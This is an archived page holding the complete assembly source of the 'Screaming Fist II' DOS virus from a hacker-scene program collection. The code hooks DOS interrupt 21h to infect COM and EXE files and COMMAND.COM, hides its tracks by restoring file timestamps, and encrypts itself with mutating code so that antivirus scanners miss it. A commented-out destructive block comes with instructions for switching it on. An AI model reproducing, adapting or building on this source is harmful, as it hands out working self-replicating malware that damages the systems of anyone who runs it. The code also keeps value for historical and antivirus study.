home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / SCREAMII.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  21KB  |  578 lines

  1. ORG 100H
  2.  
  3.  
  4. ; The Screaming Fist II virus (c)1991 by Lazarus Long, Inc.
  5. ;  The author assumes no responsibility for any damage incurred
  6. ;  from the infection caused by this virus
  7.  
  8. CURTAIN_OPEN EQU $
  9.  
  10. ARE_WE_RESIDENT?:
  11.  CLD                                 ;Do not remove this
  12.  CALL DECRYPT_US
  13.  
  14. NEXT_PLACE:
  15.  
  16.  MOV AH,30H                          ;Get DOS version
  17.  INT 21H
  18.  CMP AL,2                            ;Lower than 2?
  19.  JBE LEAVE_AND_RESTORE               ;Yes,exit
  20.  XOR AX,AX
  21.  DEC AX                              ;Will return AX=0 if virus is resident
  22.  INT 21H
  23.  OR AX,AX                            ;Are we resident?
  24.  JZ LEAVE_AND_RESTORE                ;If not, install
  25.  
  26. START:
  27.  PUSH DS
  28.  XOR  AX,AX                          ;Now make DS=0
  29.  MOV  DS,AX
  30.  DEC  WORD PTR [413H]                ;Decrease available memory by 1k
  31.  LDS  BX,[0084]                      ;Get INT 21 vector and save it
  32.  CS:
  33.  MOV  [BP+OLD_21_BX-NEXT_PLACE],BX
  34.  CS:
  35.  MOV  [BP+OLD_21_ES-NEXT_PLACE],DS
  36.  MOV  BX,ES                          ;Get address of our memory block
  37.  DEC  BX
  38.  MOV  DS,BX
  39.  SUB  WORD PTR [0003],80H           ;Decrease memory allocated to this program
  40.  MOV  AX,[0012]                      ;Decrease total memory
  41.  SUB  AX,80H                        ;By 80 paragraphs
  42.  MOV  [0012],AX                      ;And save it again
  43.  MOV  ES,AX                          ;Also gives us ES=Top of memory
  44.  PUSH CS                             ;CS=DS
  45.  POP  DS                             ;
  46.  MOV  SI,BP                          ;
  47.  SUB  SI,OFFSET NEXT_PLACE - 100H    ;Offset of code to move
  48.  MOV  DI,100H                        ;ES:100h is destination
  49.  MOV  CX,LENGTH                      ;Move entire virus
  50.  REPZ MOVSB                          ;Move entire virus to top of memory
  51.  MOV  DS,CX                          ;DS=0
  52.  CLI                                 ;Disable interrupts
  53.  MOV  [0086],AX
  54.  MOV  WORD PTR [0084],OFFSET NEW_21  ;Set INT 21 to our code in high memory
  55.  STI                                 ;Enable interrupts
  56.  MOV AX,3DFFH                        ;Code to infect command processor
  57.  INT 21H
  58.  POP DS                              ;DS=ES
  59.  PUSH DS
  60.  POP ES
  61.  
  62. LEAVE_AND_RESTORE:
  63.  ;PUSH DS                            This is just some silly code
  64.  ;XOR AX,AX                          That will cause random problems
  65.  ;MOV DS,AX                          Like floppies not working
  66.  ;IN AL,21H                          Or the system clock stopping
  67.  ;XOR AL,[046CH]B                    If you want to use it
  68.  ;AND AL,0FDH                        Just remove the semi-colons
  69.  ;OUT 21H,AL
  70.  ;POP DS
  71.  
  72.  SUB BP,OFFSET NEXT_PLACE - 100H         ;
  73.  OR BP,BP
  74.  JZ LEAVE_EXE                            ;A zero BP means we're leaving an .EXE
  75.  LEA SI,[BP+ORIGINAL_EIGHT-NEXT_PLACE+4] ;Restore original eight bytes so
  76.                                          ;we can RET to them
  77.  MOV  DI,100H
  78.  PUSH DI                                 ;Restore first four bytes
  79.  MOVSW
  80.  MOVSW
  81.  RET                                     ;And return to 100
  82.  
  83. LEAVE_EXE:
  84.  MOV AX,ES                               ;Use ES for a displacment value
  85.  ADD CS:OLD_CS_DISP - 100H,AX            ;Fix up the CS value
  86.  ADD CS:OLD_SS_DISP - 100H,AX            ;And the SS value
  87.  
  88.  MOV SS,CS:offset OLD_SS_WORD - 100h     ;Set the correct SS
  89.  MOV SP,CS:offset OLD_SP_WORD - 100h     ;And the correct SP
  90.  JMP $+2                         ;Necessary for .EXE's to run right
  91.                                  ;DO NOT REMOVE! IF YOU DO, .EXE's WON'T RUN!
  92.  
  93. DB ,0EAH,                        ;Makes a far jump to the original .EXE
  94.                                  ;Entry point
  95.  
  96. ORIGINAL_EIGHT EQU $
  97.  
  98. OLD_IP      EQU $
  99.                 MOV AH,4CH     ;.COM file beginning stored here
  100.  
  101. OLD_CS_DISP EQU $
  102.                 INT 21H        ;
  103.  
  104. OLD_SS_DISP EQU $
  105. OLD_SS_WORD DW 00 00           ;Save old SS here
  106.  
  107. OLD_SP EQU $
  108. OLD_SP_WORD DW 00 00           ;And old SP here
  109.  
  110. ;══════════════════════════════════════════════════════════════════════════════;
  111. ;Here is where the resident part begins in high memory.                        ;
  112. ;On systems with 640k, this is usually at segment 9F80                         ;
  113. ;══════════════════════════════════════════════════════════════════════════════;
  114.  
  115. NEW_21:
  116.  PUSHF
  117.  CMP AX,0FFFFH                   ;AX=FFFF means a program is asking
  118.  JNZ CONTINUE_ASKING             ;If the virus is resident
  119.  
  120.  POPF                            ;Return to show that virus is resident
  121.  INC AX                          ;Return AX=0 to show that we are resident
  122.  IRET
  123.  
  124. CONTINUE_ASKING:       ;Infect files on:
  125.  CMP AH,3DH            ;Opening
  126.  JZ OPENING
  127.  CMP AH,4BH            ;Running
  128.  JZ INFECT_REGULAR
  129.  CMP AH,43H            ;Chmod
  130.  JZ INFECT_REGULAR
  131.  CMP AH,56H            ;Renaming
  132.  JZ INFECT_REGULAR
  133.  
  134.  JMP SHORT OUTTA_HERE
  135.  
  136. OPENING:
  137.  CMP AL,0FFH                     ;Do we need to infect command processor?
  138.  JNZ INFECT_REGULAR              ;Nope, continue
  139.  
  140.  PUSH CS                         ;DS=CS
  141.  POP DS
  142.  MOV DX,OFFSET COMMAND           ;If so, let's use C:\COMMAND.COM
  143.  
  144. COM_FILE:
  145.  CALL DISEASE
  146.  POPF
  147.  IRET
  148.  
  149. INFECT_REGULAR:
  150.  
  151.  PUSH AX                         ;Save AX
  152.  CALL CHECK_NAME                 ;Is DS:DX a .COM or an .EXE file?
  153.  OR AX,AX                        ;A non-zero AX means nope
  154.  JNZ OUT_WITH_POP
  155.  CALL DISEASE                    ;Infect file
  156.  
  157. OUT_WITH_POP:
  158.  POP AX                          ;Restore AX
  159. OUTTA_HERE:
  160.  POPF                            ;Continue with old INT 21
  161.  
  162. DB ,0EAH,                        ;Code for a JMP FAR
  163.  
  164. OLD_21_BX DW 00 00               ;Old Int 21 location is stored here
  165. OLD_21_ES DW 00 00               ;
  166.  
  167. FUNCTION:                        ;Used by virus to call old INT 21
  168.  PUSHF
  169.  CALL DWORD PTR CS:[OLD_21_BX]
  170.  RET
  171.  
  172.  
  173. ;══════════════════════════════════════════════════════════════════════════════;
  174. ;This portion handles the actual infection process                             ;
  175. ;══════════════════════════════════════════════════════════════════════════════;
  176. DISEASE:
  177.  
  178.          PUSH AX                           ;Save all registers
  179.          PUSH BX
  180.          PUSH CX
  181.          PUSH DX
  182.          PUSH SI
  183.          PUSH DI
  184.          PUSH DS
  185.          PUSH ES
  186.          PUSH DX
  187.  
  188. ABOVE_2:
  189.          MOV CS:[OLD_DS]W,DS               ;Save DS
  190.          MOV CS:[OLD_ES]W,ES               ;Save ES
  191.          PUSH CS                           ;CS=DS=ES
  192.          PUSH CS
  193.          POP DS
  194.          POP ES
  195.          MOV AX,3524H                      ;Get INT 24 address
  196.          CALL FUNCTION                     ;
  197.          MOV OFFSET OLD_24_BX,BX           ;Save it
  198.          MOV OFFSET OLD_24_ES,ES           ;
  199.          MOV AH,25H                        ;Now set it to our own code
  200.          LEA DX,OFFSET NEW_24              ;Offset of our INT 24 code
  201.          CALL FUNCTION                     ;
  202.  
  203.          MOV AH,36H                      ;Get disk free space
  204.          XOR DL,DL                       ;And quit if less than virus length
  205.          CALL FUNCTION
  206.          JC NEED_TO_LEAVE
  207.          OR DX,DX
  208.          JNZ SET_ATTRIBS
  209.          MUL CX
  210.          MUL BX
  211.          CMP AX,LENGTH
  212.          JNB SET_ATTRIBS
  213.  
  214. NEED_TO_LEAVE:
  215.          POP DX                      ;Clear stack
  216.          JMP DONE                    ;And return
  217.  
  218.  
  219. SET_ATTRIBS:
  220.          POP DX
  221.          PUSH DX
  222.          MOV DS,OLD_DS
  223.          MOV AX,4300H                ;Get the attributes
  224.          CALL FUNCTION
  225.          MOV CS:[OLD_ATTRIBS],CX     ;Save them for later
  226.          XOR CX,CX
  227.          MOV AX,4301H
  228.          CALL FUNCTION                   ;Set attribs to normal
  229.          JC LEAVE_WITH_ATTRIBS           ;Leave if error
  230.  
  231. OPEN_IT:
  232.          MOV AX,3D02H                    ;Open file with Read and Write access
  233.          CALL FUNCTION
  234.          JC NEED_TO_LEAVE                ;Quit on error
  235.          PUSH CS                         ;CS=DS
  236.          POP  DS
  237.          XCHG BX,AX                      ;Save handle
  238.          MOV AH,3FH                      ;Read BUF_LENGTH bytes into CS:BUFFER
  239.          LEA DX,BUFFER                   ;Offset of buffer
  240.          MOV CX,BUF_LENGTH               ;Read 'Em
  241.          CALL FUNCTION
  242.          JC LEAVE_AND_CLOSE              ;Quit on error
  243.          CMP OFFSET BUFFER,5A4DH         ;Is this an .EXE file?
  244.          JZ NAIL_EXE                     ;If so, we gotta do some things
  245.  
  246. ;══════════════════════════════════════════════════════════════════════════════;
  247. ;This portion handles a .COM infection                                         ;
  248. ;══════════════════════════════════════════════════════════════════════════════;
  249.          MOV AL,[BUFFER+3]B              ;An indentical byte means this .COM is
  250.          INC AL
  251.          CMP AL,[BUFFER+1]B              ;probably already infected
  252.          JNZ CONTINUE_TO_INFECT          ;If it isn't, let's get it!
  253.  
  254. LEAVE_AND_CLOSE:
  255.          MOV AH,3EH                      ;Close this file
  256.          CALL FUNCTION
  257.  
  258. LEAVE_WITH_ATTRIBS:
  259.          POP DX
  260.          PUSH DX
  261.          CALL RESTORE_ATTRIBS            ;Restore the attributes if needed
  262.          JMP SHORT NEED_TO_LEAVE
  263.  
  264. CONTINUE_TO_INFECT:
  265.  
  266.          MOV SI,OFFSET BUFFER        ;Starting at CS:BUFFER
  267.          PUSH CS                     ;CS=ES
  268.          POP ES
  269.          LEA DI,OFFSET ORIGINAL_EIGHT;Where to save original eight bytes to
  270.          MOVSW                       ;Save infected files original eight bytes
  271.          MOVSW
  272.  
  273.          MOV AX,4202H                ;Send RW pointer to end of file
  274.          XOR CX,CX
  275.          XOR DX,DX
  276.          CALL FUNCTION
  277.          OR DX,DX                    ;A non-zero DX means too big of a file
  278.          JNZ LEAVE_AND_CLOSE
  279.          CMP AX,300                  ;Don't infect files less than 300 bytes
  280.          JB LEAVE_AND_CLOSE
  281.          CMP AX,64000                ;Or bigger than 64000
  282.          JA LEAVE_AND_CLOSE
  283.          SUB AX,3                    ;Use the pointer as our jump code
  284.          MOV [BUFFER]B,0E9H          ;Code for absolute JMP
  285.          MOV [BUFFER+1],AX           ;This sets up the .COM so we can tell
  286.          DEC AL                      ;If it's infected next time we see it
  287.          MOV [BUFFER+3],AL
  288.          JMP SHORT ATTACH            ;Continue past .EXE infector
  289.  
  290. ;══════════════════════════════════════════════════════════════════════════════;
  291. ;This portion handles infecting all .EXE files                                 ;
  292. ;══════════════════════════════════════════════════════════════════════════════;
  293. NAIL_EXE:
  294.  
  295.          CMP     WORD PTR [BUFFER+14H],1 ;Offset of IP reg. Is this .EXE infected?
  296.          JZ      LEAVE_AND_CLOSE         ;Leave if already infected
  297.  
  298. GET_EXE:
  299.          MOV     AX,[BUFFER+4]           ;EXE size in 512 byte pages
  300.          MOV     CX,0200H                ;Multiply by 512 to get filesize
  301.          MUL     CX                      ;
  302.          PUSH    AX                      ;Save AX, AX=Filesize low byte
  303.          PUSH    DX                      ;Save DX, DX=Filesize high byte
  304.          MOV     CL,04                   ;
  305.          ROR     DX,CL                   ;
  306.          SHR     AX,CL                   ;
  307.          ADD     AX,DX                   ;
  308.          SUB     AX,[BUFFER+8]           ;Size of header in 16 byte paragraphs
  309.          PUSH    AX                      ;AX is new code segment displacement
  310.          MOV     AX,[BUFFER+14H]         ;Get old IP register
  311.          MOV     [OLD_IP],AX             ;Save it here
  312.          MOV     AX,[BUFFER+16H]         ;Get old code segment displacement
  313.          ADD     AX,10H                  ;Add 10 to it
  314.          MOV     [OLD_CS_DISP],AX        ;Save it here
  315.          MOV     AX,[BUFFER+14]          ;Get old stack segment
  316.          ADD     AX,10H                  ;Adjust it for later
  317.          MOV     [OLD_SS_DISP],AX        ;And save it here
  318.          MOV     AX,[BUFFER+16]          ;Get stack pointer
  319.          MOV     [OLD_SP],AX             ;And save it here
  320.          POP     AX                      ;Restore AX
  321.          MOV     [BUFFER+16H],AX         ;New code segment
  322.          MOV     [BUFFER+14],AX          ;New SS=CS
  323.          MOV     [BUFFER+16],0FFFFH      ;SP = End of viral code
  324.          MOV     WORD PTR [BUFFER+14H],1 ;New IP register
  325.          ADD     WORD PTR [BUFFER+4],2   ;Size of file in 512 byte pages
  326.          POP     CX
  327.          POP     DX
  328.          MOV     AX,4200H                ;Move file pointer
  329.          CALL    FUNCTION
  330.  
  331. ;══════════════════════════════════════════════════════════════════════════════;
  332. ; Attach our viral code to the target file                                     ;
  333. ; This portion is shared by the .EXE and the .COM infectors to be more         ;
  334. ; efficient                                                                    ;
  335. ;══════════════════════════════════════════════════════════════════════════════;
  336.  
  337. ATTACH:
  338.  
  339.          MOV AX,5700H                ;Get the file time and date
  340.          CALL FUNCTION
  341.          PUSH CX                     ;And save them for later
  342.          PUSH DX
  343.  
  344. INFECT:
  345.  
  346.          XOR AX,AX
  347.          MOV DS,AX
  348.          MOV AX,[046CH]              ;Get a random encryption key from timer
  349.          MOV DL,AH                   ;Save part of it in DL
  350.          PUSH CS                     ;DS=CS
  351.          POP DS                      ;
  352.          MOV ENC_BYTE,AL             ;Save keys in our code
  353.          MOV ENC_BYTE_2,DL
  354.          PUSH CS                     ;CS=ES
  355.          POP ES
  356. ;══════════════════════════════════════════════════════════════════════════════╗
  357. ;This section provides a semi-random encryption code mutation based on our     ║
  358. ;encryption keys. Look at each line for a desc. of what it does to the code.   ║
  359. ;══════════════════════════════════════════════════════════════════════════════╝
  360.          TEST AL,1
  361.          JZ SKIP_1
  362.          XOR WORD PTR ENC_SWITCH,0ABDEH ;MOV SI,BP <=> PUSH BP POP SI
  363. SKIP_1:
  364.          TEST DL,1
  365.          JZ SKIP_2
  366.          XOR BYTE PTR [ENC_SWITCH_2 + 1],012H  ;OR DL,AL <=> XOR AL,DL
  367. SKIP_2:
  368.          TEST AL,2
  369.          JZ SKIP_4
  370.          XOR BYTE PTR [ENC_SWITCH_4 + 2],010H
  371. SKIP_4:
  372.          TEST DL,2
  373.          JZ SKIP_5
  374.          XOR BYTE PTR [ENC_SWITCH_5 + 2],010H
  375. SKIP_5:
  376.          TEST AL,3
  377.          JZ SKIP_6
  378.          XOR BYTE PTR [ENC_SWITCH_1 + 1],08H
  379. SKIP_6:
  380.          TEST DL,3
  381.          JZ SKIP_7
  382.          XOR BYTE PTR [ENC_SWITCH_3 + 1],08H
  383. SKIP_7:
  384.          TEST AL,4
  385.          JZ SKIP_8
  386.          XOR BYTE PTR [ENC_SWITCH_6 + 1],08H
  387. SKIP_8:
  388.          MOV SI,CURTAIN_OPEN
  389.          MOV DI,DATA_END
  390.          PUSH DI
  391.          PUSH DI
  392.          MOV CX,LENGTH
  393.          REPZ MOVSB
  394.          POP SI
  395.          ADD SI,4
  396.          CALL ENCRYPT_US
  397.          POP DX
  398.          MOV AH,40H                  ;Code for handle write
  399.          MOV CX,LENGTH               ;Length of our viral code
  400.          CALL FUNCTION               ;Write all of virus
  401.  
  402. MAKE_HEADER:
  403.          MOV AX,4200H                 ;Set file pointer to beginning
  404.          XOR CX,CX                    ;Zero out CX
  405.          XOR DX,DX                    ;Zero out DX
  406.          CALL FUNCTION
  407.          MOV AH,40H                   ;Write to file
  408.          MOV DX,OFFSET BUFFER         ;Starting at BUFFER
  409.          MOV CX,BUF_LENGTH            ;Write BUF_LENGTH bytes
  410.          CALL FUNCTION
  411.  
  412. ;══════════════════════════════════════════════════════════════════════════════;
  413. ; This restores the files original date and time                               ;
  414. ;══════════════════════════════════════════════════════════════════════════════;
  415.  
  416. RESTORE_TIME:
  417.          MOV AX,5701H                   ;Restore original date and time
  418.          POP DX                         ;To what was read in earlier
  419.          POP CX                         ;
  420.          CALL FUNCTION                  ;
  421.          JMP LEAVE_AND_CLOSE            ;Leave
  422.  
  423. DONE:
  424.          MOV DX,OFFSET OLD_24_BX W         ;Move the old INT 24's address
  425.          MOV DS,OFFSET OLD_24_ES W         ;so we can restore it
  426.          MOV AX,2524H                      ;Restore it
  427.          CALL FUNCTION
  428.          POP  ES                           ;Restore all registers
  429.          POP  DS
  430.          POP  DI
  431.          POP  SI
  432.          POP  DX
  433.          POP  CX
  434.          POP  BX
  435.          POP  AX
  436.          RET                               ;And quit
  437.  
  438. RESTORE_ATTRIBS:
  439. ;══════════════════════════════════════════════════════════════════════════════;
  440. ; This routine restores the files original attributes.                         ;
  441. ;══════════════════════════════════════════════════════════════════════════════;
  442.          MOV AX,4301H                   ;Restore original attribs
  443.          MOV CX,[OLD_ATTRIBS]           ;To what was read in earlier
  444.          MOV DS,OLD_DS
  445.          CALL FUNCTION
  446.          RET
  447.  
  448. NEW_24:
  449.          XOR AX,AX                      ;Any error will simply be ignored
  450.          STC                            ;Most useful for write protects
  451.          IRET
  452.  
  453. ;══════════════════════════════════════════════════════════════════════════════;
  454. ;Please don't be a lamer and change the text to claim it was your own creation ;
  455. ;══════════════════════════════════════════════════════════════════════════════;
  456.  
  457. TEXT    DB 'Screaming Fist II'    ;For the AV people, can't have a dumb name!
  458. COMMAND DB 'C:\COMMAND.COM',00                ;File infected
  459.  
  460. ;══════════════════════════════════════════════════════════════════════════════;
  461. ; This routine checks to see if the file at DS:DX has an extension of either   ;
  462. ; .COM or .EXE. AX is set to zero if either condition is met, and non-zero     ;
  463. ; If they aren't.                                                              ;
  464. ;══════════════════════════════════════════════════════════════════════════════;
  465.  
  466. CHECK_NAME:
  467.          PUSH SI
  468.          MOV SI,DX
  469.  
  470. CHECK_FOR_PERIOD:
  471.          LODSB
  472.          OR AL,AL
  473.          JZ LEAVE_NAME_CHECK
  474.          CMP AL,'.'
  475.          JNZ CHECK_FOR_PERIOD
  476.          LODSB
  477.          AND AL,0DFH
  478.          CMP AL,'C'
  479.          JZ MAYBE_COM
  480.          CMP AL,'E'
  481.          JZ MAYBE_EXE
  482.          JMP SHORT LEAVE_NAME_CHECK
  483.  
  484. MAYBE_COM:
  485.          LODSW
  486.          AND AX,0DFDFH
  487.          CMP AX,'MO'
  488.          JZ FILE_GOOD
  489.          JMP SHORT LEAVE_NAME_CHECK
  490.  
  491. MAYBE_EXE:
  492.          LODSW
  493.          AND AX,0DFDFH
  494.          CMP AX,'EX'
  495.          JNZ LEAVE_NAME_CHECK
  496.  
  497. FILE_GOOD:
  498.          XOR AX,AX
  499.  
  500. LEAVE_NAME_CHECK:
  501.          POP SI
  502.          RET
  503.  
  504. ;══════════════════════════════════════════════════════════════════════════════╗
  505. ;This is the encryption routine. This is the only portion that remains         ║
  506. ;unencrypted. The bytes mark by an ENC_SWITCH are changed to throw off SCAN    ║
  507. ;══════════════════════════════════════════════════════════════════════════════╝
  508.  
  509. ENC_START EQU $
  510.  
  511. DECRYPT_US:
  512.          POP BP
  513.          PUSH BP
  514.  
  515. ENC_SWITCH EQU $
  516.          MOV SI,BP                 ;Alternates between this and PUSH BP, POP SI
  517.  
  518.          MOV AL,CS:[BP+ENC_BYTE-NEXT_PLACE]   ;Get ENC key #1
  519.          MOV DL,CS:[BP+ENC_BYTE_2-NEXT_PLACE] ;Get ENC key #2
  520.  
  521. ENCRYPT_US:
  522.          MOV CX,ENC_LENGTH         ;Length to encrypt or decrypt
  523.  
  524. ENCRYPT_US_II:
  525. ENC_SWITCH_1 EQU $
  526.          NOT AL                    ;Alternates bewtween NOT and NEG
  527.  
  528. ENC_SWITCH_2 EQU $
  529.          XOR DL,AL                 ;Alternates between this and XOR AL,DL
  530.  
  531. ENC_SWITCH_4 EQU $
  532.          XOR BYTE PTR CS:[SI],AL   ;Alternates bewteen AL and DL
  533.          SUB AL,DL
  534.  
  535. ENC_SWITCH_3 EQU $
  536.          NOT DL                    ;Alternates between NOT and NEG
  537.  
  538. ENC_SWITCH_5 EQU $
  539.          XOR BYTE PTR CS:[SI],DL   ;Alternates between DL and AL
  540.          INC SI                    ;INC encryption pointer
  541. ENC_SWITCH_6 EQU $
  542.          INC DL                    ;Alternates between INC and DEC
  543.          LOOP ENCRYPT_US_II
  544.          RET
  545.  
  546. ENC_BYTE   DB 00   ;Storage space for encryption keys
  547. ENC_BYTE_2 DB 00
  548.  
  549. FINI EQU $
  550.  
  551. LENGTH = FINI - CURTAIN_OPEN
  552.  
  553. ;══════════════════════════════════════════════════════════════════════════════;
  554. ;This is the data table and is not included in the virus size                  ;
  555. ;══════════════════════════════════════════════════════════════════════════════;
  556. DATA_BEGIN EQU $
  557.  
  558. OLD_ATTRIBS DW 00 00      ;File's old attributes
  559.  
  560. OLD_24_ES DW 00 00        ;Saves address of old INT 24
  561. OLD_24_BX DW 00 00
  562.  
  563. OLD_DS DW 00 00           ;Saves DS and ES here on entering
  564. OLD_ES DW 00 00
  565.  
  566. BUFFER_BEGIN EQU $
  567. BUFFER EQU $
  568.     DB 1BH DUP(0)         ;Buffer for bytes read in from file
  569. BUFFER_END EQU $
  570.  
  571. DATA_END EQU $
  572.  
  573. DATA_LENGTH = DATA_END - DATA_BEGIN        ;Length of Data Table
  574.  
  575. BUF_LENGTH = BUFFER_END - BUFFER_BEGIN     ;Length of file buffer
  576.  
  577. ENC_LENGTH = ENC_START - OFFSET NEXT_PLACE
  578.